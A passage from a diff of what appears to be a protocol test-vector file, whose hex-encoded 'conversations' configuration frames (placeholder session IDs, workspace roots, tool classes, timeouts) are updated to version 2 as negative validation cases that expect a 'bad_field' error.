2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b227772697465222c2272656164225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-tool-classes-repeat", "direction": "down", - "hex": "574d583101010000010000002e0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c2272656164225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d583101010000010000006b0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c2272656164225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-tool-class-unknown", "direction": "down", - "hex": "574d58310101000001000000310600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c226e6574776f726b225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d583101010000010000006e0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c226e6574776f726b225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-timeout-zero", "direction": "down", - "hex": "574d58310101000001000000340600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000710600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { - "name": "conversations-timeout-over-ten-minutes", + "name": "conversations-timeout-over-a-day", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030312c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000780600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a38363430303030312c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-timeout-fraction", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a313030302e352c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": 